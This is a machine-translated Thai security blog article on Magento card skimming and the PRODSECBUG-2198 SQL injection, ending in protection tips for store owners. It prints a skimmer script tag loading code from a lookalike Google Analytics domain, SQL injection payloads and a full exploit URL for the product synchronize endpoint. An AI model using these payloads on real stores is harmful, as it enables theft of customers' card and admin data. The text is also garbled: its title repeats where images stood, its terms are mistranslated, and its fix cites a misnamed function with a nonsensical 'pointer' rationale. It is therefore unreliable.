Computer >> คอมพิวเตอร์ >  >> ระบบเครือข่าย >> ความปลอดภัยของเครือข่าย

การข้ามผ่านการ์ด Magento ทำงานอย่างไรและจะปลอดภัยได้อย่างไร

Magento Card Skimming เป็นการขโมยข้อมูลเครดิต/เดบิตอย่างผิดกฎหมายโดยการฉีดสคริปต์ที่เป็นอันตรายที่เรียกว่า "skimmers" ลงในเว็บไซต์ Magento หากคุณเป็นเจ้าของเว็บไซต์ที่ขับเคลื่อนด้วยวีโอไอพี บทความนี้เหมาะสำหรับคุณ เราขอนำเสนอ แหล่งข้อมูลที่ดีพร้อมรายละเอียดที่จำเป็นทั้งหมดเกี่ยวกับปัญหาด้านความปลอดภัยในการอ่านการ์ด Magento

ในบทความนี้ เราจะมาพูดคุยกันว่าการ skimming การ์ด Magento คืออะไร และส่งผลต่อเว็บไซต์ Magento อย่างไร (พร้อมการพิสูจน์แนวคิด) นอกจากนี้ เราจะเรียนรู้เคล็ดลับการทำงานบางประการเกี่ยวกับวิธีที่คุณสามารถป้องกันเว็บไซต์ของคุณจากปัญหานี้ งั้นก็โดดเข้าไปเลย

บทความที่เกี่ยวข้อง – การโจมตี Magecart คืออะไรใน Magento Store และวิธีป้องกันพวกเขา

การลากผ่านการ์ด Magento คืออะไร

Magento เป็นแพลตฟอร์มอีคอมเมิร์ซโอเพ่นซอร์สที่ใช้ PHP เป็นระบบจัดการเนื้อหาที่โฮสต์ด้วยตนเองซึ่งปัจจุบันเป็นของ Adobe เว็บไซต์ประมาณ 250,000+ แห่งใช้ Magento เพื่อขับเคลื่อนเว็บไซต์อีคอมเมิร์ซของตน เว็บไซต์เหล่านี้ส่วนใหญ่เป็นของยักษ์ใหญ่ด้านอีคอมเมิร์ซในสหรัฐฯ ดังนั้น Magento จึงมีความรับผิดชอบอย่างมากในการรักษาประสบการณ์ของลูกค้า

ในทางกลับกัน Card skimming เป็นการคัดลอกข้อมูลจากบัตรเครดิตและบัตรเดบิตอย่างผิดกฎหมายโดยใช้อุปกรณ์อ่านบัตรจริง นี่คือความเชื่อมโยงระหว่าง Magento และ Card skimming

Magento card skimming เป็นรูปแบบหนึ่งของ web skimming ซึ่งแฮกเกอร์ขโมยข้อมูลการชำระเงินบน Magento ผ่านสคริปต์ของบุคคลที่สาม สคริปต์นี้ช่วยให้พวกเขาสามารถขโมยข้อมูลธนาคารที่สำคัญ เช่น ชื่อเจ้าของ หมายเลขบัตรเครดิต/บัตรเดบิต หมายเลข CVV และวันหมดอายุ แฮกเกอร์มักจะสร้างรายได้จากข้อมูลนี้โดยการขายในตลาดมืด

เกี่ยวกับ PRODSECBUG-2198 ใช้ประโยชน์

ปัญหา PRODSECBUG-2198 ถูกรายงานครั้งแรกเมื่อวันที่ 9 พฤศจิกายน 2018 บน Bugcrowd โดยพื้นฐานแล้ว PRODSECBUG-2198 เป็นโค้ดที่มีช่องโหว่ซึ่งอนุญาตให้มีการฉีด SQL ใน Magento ช่องโหว่นี้ทำให้ผู้ใช้ที่ไม่ผ่านการตรวจสอบสิทธิ์สามารถเรียกใช้โค้ดโดยอำเภอใจซึ่งอาจทำให้เกิดการรั่วไหลของข้อมูลที่สำคัญได้

ในไม่ช้า บั๊กก็ถูกทำเครื่องหมายเป็น P1 ช่องโหว่ P1 อ้างอิงจาก Bugcrowd เป็นช่องโหว่เหล่านั้นซึ่งอาจทำให้เกิดการเพิ่มสิทธิพิเศษได้ ด้วยเหตุนี้ ผู้ใช้ทุกคนจึงสามารถยกระดับสิทธิ์ผู้ดูแลระบบจากระดับการอนุญาตที่ต่ำกว่าได้ นอกจากนี้ ยังอนุญาตให้มีการเรียกใช้โค้ดจากระยะไกล การโจรกรรมทางการเงิน เป็นต้น การใช้ประโยชน์จากช่องโหว่นี้มุ่งเป้าไปที่ Magento เวอร์ชันต่อไปนี้:

  • Magento Commerce <1.14.4.1
  • โอเพ่นซอร์ส Magento <1.9.4.1
  • วีโอไอพี <2.1.17
  • วีโอไอพี <2.2.8
  • วีโอไอพี <2.3.1

Skimmer ตามชื่อ Google

ในกรณีล่าสุดของ Magento skimming เราพบว่าแฮกเกอร์ใช้โดเมน Google ปลอมเพื่อขโมยรายละเอียดการชำระเงิน ในการโจมตีครั้งนี้ มีการโหลดจาวาสคริปต์ที่เป็นอันตรายจากโดเมนที่ชื่อว่า – google-analytîcs.com หรือ xn--google-analytcs-xpb.com

หากคุณจะสังเกตให้ดี มันคือชื่อเล่นบนโดเมน Google ดั้งเดิม ดังนั้น การโจมตีแบบ skimming นี้จึงใช้ฟิชชิ่งเป็นวิธีการดึงข้อมูลการชำระเงินที่มีความละเอียดอ่อน สคริปต์มีลักษณะดังนี้ –

<script type="text/javascript" src="//google-analytîcs.com/www.[redacted].com/3f5cf4657d5d9.js"></script>

นอกจากนี้ Skimmer นี้ยังเก็บข้อมูลโดยใช้ JavaScript ที่โหลดและ document.getElementsByTagName หากไม่มีเครื่องมือสำหรับนักพัฒนาซอฟต์แวร์เปิดอยู่ Skimmer นี้จะส่งข้อมูลที่ถูกขโมยไปยังโดเมน Google ปลอมgoogle-analytîcs.com หรือ xn--google-analytcs-xpb.com

อย่างไรก็ตาม มันแสดงพฤติกรรมแปลก ๆ เมื่อมีเครื่องมือสำหรับนักพัฒนาเปิดบนเว็บไซต์ของคุณ ตรวจจับและหยุดกลางกระบวนการส่งสัญญาณ นอกจากนี้ ลักษณะการทำงานนี้จะแตกต่างกันไปตามซอฟต์แวร์เบราว์เซอร์ที่คุณใช้

Magento Card Skimming:พิสูจน์แนวคิด

หลักฐานแนวคิดเกี่ยวกับช่องโหว่ด้านความปลอดภัยนี้มีการกล่าวถึงดังนี้ มันเขียนด้วยภาษา Python และสิ่งสำคัญที่ทำให้เกิดปัญหา Magento Card Skimming

  • รหัสที่นี่โดยทั่วไปจะสร้างเซสชันของเบราว์เซอร์จำลองที่มี URL สุ่มและข้อมูลเซสชัน ทำได้โดยใช้คลาสเบราว์เซอร์และฟังก์ชันการรับเซสชัน
  • อ็อบเจ็กต์ของคลาสเบราว์เซอร์ที่มีรายละเอียดเซสชันถูกส่งไปยังคลาสการฉีด SQL
  • ตอนนี้การฉีด SQL เพิ่มข้อมูลเพย์โหลดบางส่วนไปยัง URL ของเซสชัน สร้างผลิตภัณฑ์ จากนั้นดึงรายละเอียดที่สำคัญจากฐานข้อมูลของเว็บไซต์ นอกจากนี้ยังสามารถปรับเปลี่ยนเพย์โหลดการฉีด SQL เพื่อรับสิทธิ์เข้าถึงข้อมูลแบ็กเอนด์ได้
  • ผู้โจมตีได้รับข้อมูลเกี่ยวกับธุรกรรมล่าสุดและข้อมูลธนาคารของผู้ใช้
การข้ามผ่านการ์ด Magento ทำงานอย่างไรและจะปลอดภัยได้อย่างไร การข้ามผ่านการ์ด Magento ทำงานอย่างไรและจะปลอดภัยได้อย่างไร การข้ามผ่านการ์ด Magento ทำงานอย่างไรและจะปลอดภัยได้อย่างไร การข้ามผ่านการ์ด Magento ทำงานอย่างไรและจะปลอดภัยได้อย่างไร การข้ามผ่านการ์ด Magento ทำงานอย่างไรและจะปลอดภัยได้อย่างไร การข้ามผ่านการ์ด Magento ทำงานอย่างไรและจะปลอดภัยได้อย่างไร

การใช้ประโยชน์ทำให้เว็บไซต์ Magento ของคุณแพร่ระบาดอย่างไร

Magento มี codebase ขนาดใหญ่ประมาณ 2 ล้านบรรทัด PHP ทำให้การตรวจสอบและค้นหาการใช้ประโยชน์เป็นงานที่ยุ่งยาก อย่างไรก็ตาม เมื่อทีมแฮ็กเกอร์ที่มีจริยธรรมของเราตรวจสอบโค้ด พวกเขาจำกัดเป้าหมายให้แคบลงที่โค้ดที่รับผิดชอบการจัดการ ORM และ DB

จุดบกพร่องของ Magento Card Skimming คือ:

1. ในฟังก์ชัน prepareSQLCondition

ฟังก์ชั่นสาธารณะนี้มีอยู่ภายในคลาสหลักที่จัดการฐานข้อมูลและสามารถอยู่ที่

MagentoFrameworkDBAdapterPdoMysql

รหัสฟังก์ชันมีดังนี้:

การข้ามผ่านการ์ด Magento ทำงานอย่างไรและจะปลอดภัยได้อย่างไร การข้ามผ่านการ์ด Magento ทำงานอย่างไรและจะปลอดภัยได้อย่างไร

ทำความเข้าใจกับการใช้ประโยชน์

ให้เราเข้าใจการทำงานของการเอารัดเอาเปรียบโดยมุ่งความสนใจไปที่เส้นที่ทำเครื่องหมายไว้ ในบรรทัดที่ทำเครื่องหมาย [1] ชื่อแทนเงื่อนไขจะเชื่อมโยงกับรูปแบบโดยใช้ $conditionKeyMap ซึ่งจะแทนที่อักขระ '?' ทุกตัวในนามแฝงด้วยเวอร์ชันที่ยกมาของค่าที่กำหนดโดยใช้ฟังก์ชัน _prepareQuotedSqlCondition() ในบรรทัดหมายเลข 33 ตามตรรกะที่เขียนในบรรทัดที่ 30-35 ตอนนี้ให้พิจารณาตัวอย่างโค้ดต่อไปนี้:

<?php

$db->prepareSqlCondition('username', ['regexp' => 'my_value']);

=> $conditionKeyMap['regexp'] = "{{fieldName}} REGEXP ?";

=> $query = "username REGEXP 'my_value'";

ตอนนี้ปัญหาเกิดขึ้นเมื่อใช้เงื่อนไข "จาก" และ "ถึง" ร่วมกันในบรรทัดที่ 30 ตรรกะในรหัสนั้นทำให้แน่ใจว่าฟิลด์นั้นอยู่ภายในช่วง เพื่อความเข้าใจที่ดีขึ้น มาดูข้อมูลโค้ดนี้:

<?php

$db->prepareSqlCondition('price', [

'from' => '100'

'to' => '1000'

]);

$query = "price >= '100' AND price <= '1000'";

ตามตรรกะการดำเนินการ เมื่อใดก็ตามที่มีทั้งสองเงื่อนไข อันดับแรก "จาก" จะได้รับการจัดการ จากนั้นจึงจัดการ "ถึง" แต่มีข้อผิดพลาดสำคัญเกิดขึ้นที่บรรทัดที่ 38 แบบสอบถามที่ "จาก" สร้างขึ้นจะใช้เพิ่มเติมสำหรับการจัดรูปแบบ

ตอนนี้ทุก ๆ “?” จะถูกแทนที่ด้วยค่าที่กำหนด หากเครื่องหมายคำถามเกิดขึ้นในค่า "จาก" จะถูกแทนที่ด้วยค่าที่กำหนดให้กับ "to" ในรูปแบบที่ยกมา ในการดำเนินการโจมตีด้วยการฉีด SQL ที่ถูกต้อง ผู้โจมตีสามารถใช้โค้ดการหาประโยชน์ดังต่อไปนี้:

<?php

$db->prepareSqlCondition(‘price’,[

‘from’ => ‘x?’

‘to’ => ‘ OR 1=1 -- -’

]);

-> $query = “price >= ‘x’ OR 1=1 -- -’’ AND price <= ’ OR 1=1 -- -’”

ความผิดพลาดแม้จะเล็กนิดเดียวก็ส่งผลกระทบได้มาก ข้อเท็จจริงที่น่าประหลาดใจก็คือโค้ดนี้มาจาก Magento เวอร์ชัน 1.x

2. ในฟังก์ชันการดำเนินการของคลาส Synchronize

พบช่องโหว่อื่นในฟังก์ชันดำเนินการที่ตำแหน่งต่อไปนี้:

MagentoCatalogControllerProduct FrontendActionSynchronize

ซอร์สโค้ด PHP ที่มีการเปิดเผยปัญหาด้านความปลอดภัยมีดังนี้:

<?php

public function execute()

{

$resultJson = $this->jsonFactory->create();

try {

$productsData = $this->getRequest()->getParam(‘ids’,[]);

$typeId = $this->getRequest()->getParam(‘type_id’,null);

$this->synchronizer->syncActions($productsData, $typeId);

} catch (Exception $e) {

$resultsJson->setStatusHeader(

ZendHttpResponse::STATUS_CODE_400,

ZendHttpAbstractMessage::VERSION_11,

‘Bad Request’

);

}

return $resultsJson->setData([]);

สแต็กการโทรที่นำไปสู่จุดบกพร่องในที่สุด:

<?php

$productsData = $this->getRequest()->getParam('ids', []);

$this->synchronizer->syncActions($productsData, $typeId);

 

$collection->addFieldToFilter('product_id', $this->getProductIdsByActions($productsData));

 

$this->_translateCondition($field, $condition);

 

$this->_getConditionSql($this->getConnection()->quoteIdentifier($field), $condition);

 

$this->getConnection()->prepareSqlCondition($fieldName, $condition);

 

โค้ดที่มีช่องโหว่นี้มีตั้งแต่ v2.2.0 ของ Magento ตัวอย่าง URL ที่อาจทำให้เกิดการแทรก SQL ที่ไม่ผ่านการตรวจสอบสิทธิ์ซึ่งเชื่อมโยงกับ Magento Card Skimming มีดังนี้:

https://magento2website.com/catalog/product_frontend_action/synchronize?

 

type_id=recently_products&

 

ids[0][added_at]=&

 

ids[0][product_id][from]=?&

 

ids[0][product_id][to]=))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE 1=1) -- -
การข้ามผ่านการ์ด Magento ทำงานอย่างไรและจะปลอดภัยได้อย่างไร การข้ามผ่านการ์ด Magento ทำงานอย่างไรและจะปลอดภัยได้อย่างไร

ขณะนี้ข้อมูลสามารถอ่านได้จากฐานข้อมูล ผู้โจมตีสามารถดึงข้อมูลประจำตัวสำหรับบัญชีผู้ดูแลระบบและใช้เพื่อเข้าถึงแบ็กเอนด์ พวกเขายังอาจแอบเอารายละเอียดการธนาคารและการเงินอื่น ๆ จากฐานข้อมูลผู้ใช้และฐานข้อมูลธุรกรรม ผู้โจมตีอาจใช้ข้อมูลนี้และก่ออาชญากรรมทางอินเทอร์เน็ต เช่น การฉ้อโกงทางอีคอมเมิร์ซ ฟิชชิ่ง หรือแม้แต่การมอง ผู้โจมตีอาจโฮสต์มัลแวร์บนเว็บไซต์ของคุณ ซึ่งอาจขัดขวางชื่อเสียงขององค์กรของคุณในแพลตฟอร์มอีคอมเมิร์ซ เว็บไซต์ของคุณอาจถูกขึ้นบัญชีดำโดยเครื่องมือค้นหา ซึ่งอาจทำให้การเข้าชมเว็บไซต์ของคุณลดลง

จะป้องกันเว็บไซต์ของคุณจาก Magento Card Skimming ได้อย่างไร

ตอนนี้เราเข้าใจในรายละเอียดเกี่ยวกับการทำงานของ Magento Card Skimming แล้ว มาทำความเข้าใจว่าเราจะป้องกันจากการโจมตีดังกล่าวได้อย่างไรในอนาคต

  1. ฆ่าเชื้อฟังก์ชัน prepareSqlInjection

    สำหรับการลบจุดบกพร่องด้านความปลอดภัยในฟังก์ชัน prepareSqlInjection โค้ดจะต้องเขียนเป็น:

    $query = $query . $this->_prepareQuotedSqlCondition($conditionKeyMap['to'], $to, $fieldName);

    การอ้างอิงถึงค่าที่ส่งผ่านโดยใช้ตัวชี้ "นี้" จะป้องกันไม่ให้ผู้โจมตีเข้าถึงข้อมูลแบ็กเอนด์ได้โดยตรง การใช้ตัวแปรพอยน์เตอร์ยังช่วยให้สามารถแยกข้อมูลและเข้าถึงได้เฉพาะฟังก์ชันที่ได้รับอนุญาตเท่านั้น

  2. การตรวจสอบความถูกต้องของข้อมูลที่ป้อน

    ค่าที่ใช้เป็นอินพุตในหน้าใด ๆ ของเว็บไซต์ที่ใช้ Magento ของคุณต้องได้รับการตรวจสอบก่อนที่จะส่งต่อไปยังการประมวลผลแบ็กเอนด์ การตรวจสอบสามารถทำได้โดยใช้ฟังก์ชันที่เหมาะสมหรือตรรกะที่เหมาะสม มันจะต้องไม่สามารถเข้าใจผิดได้ ผู้ดูแลเว็บไซต์ต้องกำหนดให้นักพัฒนาเว็บไซต์ต้องเขียนโค้ดที่ปลอดภัยและมีความเสี่ยงน้อยกว่า

  3. อัปเดตเพื่อความปลอดภัย

    ปลั๊กอินทั้งหมดที่ใช้โดยเว็บไซต์ที่ใช้ระบบวีโอไอพีของคุณจะต้องเป็นเวอร์ชันล่าสุด ซึ่งจะทำให้มั่นใจได้ถึงประสบการณ์ที่ปลอดภัยสำหรับลูกค้าและผู้ใช้ของคุณ แฮ็กเกอร์มักจะกำหนดเป้าหมายเว็บไซต์ที่ทำงานบนปลั๊กอินเก่า และสามารถโฮสต์มัลแวร์ได้ ซึ่งทำให้เว็บไซต์ของคุณช้าลงและขึ้นบัญชีดำเว็บไซต์ Magento ของคุณ

  4. การตรวจสอบความปลอดภัย

    ทำการตรวจสอบความปลอดภัยของไซต์อย่างละเอียดเพื่อให้แน่ใจว่าคุณไม่มีช่องโหว่ด้านความปลอดภัยในเว็บไซต์ของคุณ ทำการแก้ไขผู้ใช้ Magento ทั้งหมดและลบใครก็ตามที่คุณไม่รู้จัก หากต้องการเปิดเผยช่องโหว่และช่องโหว่ในการเข้ารหัสทั้งหมด คุณสามารถทำ VAPT (การประเมินช่องโหว่และการทดสอบการเจาะ) แบบมืออาชีพบนเว็บไซต์ของคุณ

  5. รายงานความคลาดเคลื่อนด้านความปลอดภัย

    หากคุณพบร่องรอยของการละเมิดความปลอดภัยในฐานข้อมูลผู้ใช้หรือฐานข้อมูลที่จัดการธุรกรรม โปรดติดต่อฝ่ายที่เกี่ยวข้อง (ผู้ประมวลผลการชำระเงิน ลูกค้า และผู้มีส่วนได้ส่วนเสียของบริษัท) เพื่อจัดการเหตุฉุกเฉินนี้โดยเร็วที่สุด การละเมิดความปลอดภัยไม่ควรถูกทิ้งไว้โดยไม่มีใครดูแล

  6. โปรดใช้ความระมัดระวังเกี่ยวกับความเสี่ยงด้านความปลอดภัยของโฮสติ้งที่ใช้ร่วมกัน

    หากเว็บไซต์ของคุณโฮสต์โดยใช้โฮสติ้งที่ใช้ร่วมกัน คุณต้องซื้อแผนสำหรับการสำรองข้อมูลและเพิ่มความปลอดภัย คุณในฐานะผู้ดูแลระบบความปลอดภัยหรือผู้ดูแลเว็บไซต์ต้องติดต่อผู้ให้บริการโฮสต์ของคุณและมีความรู้เกี่ยวกับเว็บไซต์อื่น ๆ ที่โฮสต์บนเซิร์ฟเวอร์โฮสติ้งที่ใช้ร่วมกัน อย่าเสี่ยงต่อชื่อเสียงออนไลน์ของธุรกิจของคุณด้วยการเลือกตัวเลือกที่ประหยัด การอภิปรายโดยละเอียดเกี่ยวกับความเสี่ยงด้านความปลอดภัยที่ใช้ร่วมกันได้ดำเนินการไปแล้วในบทความก่อนหน้าของบล็อก Astra คุณสามารถอ่านได้ที่นี่

  7. การเข้ารหัสข้อมูล

    เข้ารหัสข้อมูลที่จัดเก็บไว้ในฐานข้อมูลเว็บไซต์ของคุณด้วยกลไกการเข้ารหัสที่รัดกุม ซึ่งจะทำให้ผู้โจมตีเข้าถึงข้อมูลส่วนตัวของผู้ใช้หรือข้อมูลเชิงกลยุทธ์ขององค์กรได้ยาก

  8. แก้ไขเส้นทางการโจมตี XSS

    แม้ว่าในบทความนี้ เราจะไม่พูดถึง XSS เนื่องจากหน้าเกตเวย์การชำระเงินของ Magento สร้างขึ้นโดยใช้รูปแบบที่ใช้ PHP เป็นสิ่งสำคัญที่พวกเขาต้องใช้ htmlspecialchars() ฟังก์ชันเพื่อป้องกันการโจมตี $_SERVER[“PHP_SELF”]

  9. ติดตั้งไฟร์วอลล์

    การติดตั้งไฟร์วอลล์เว็บแอปพลิเคชันเป็นอีกวิธีหนึ่งในการเพิ่มความปลอดภัยให้กับเว็บไซต์ของคุณ ไฟร์วอลล์ของ Astra คือระบบตรวจสอบเว็บไซต์ของคุณอย่างต่อเนื่อง ระบุและบล็อกภัยคุกคามที่จะมาถึงเว็บไซต์ของคุณ 24*7 ยิ่งไปกว่านั้น มันยังคงพัฒนาไปพร้อมกับความพยายามในการโจมตีแต่ละครั้ง และได้รับการกำหนดค่าที่ดีขึ้นสำหรับการโจมตีครั้งต่อไป

สำหรับบทความเพิ่มเติมเกี่ยวกับปัญหาด้านความปลอดภัยของ Magento คลิกที่นี่ .

พบบทความที่เป็นประโยชน์? แชร์กับเพื่อนของคุณใน Facebook, Twitter, LinkedIn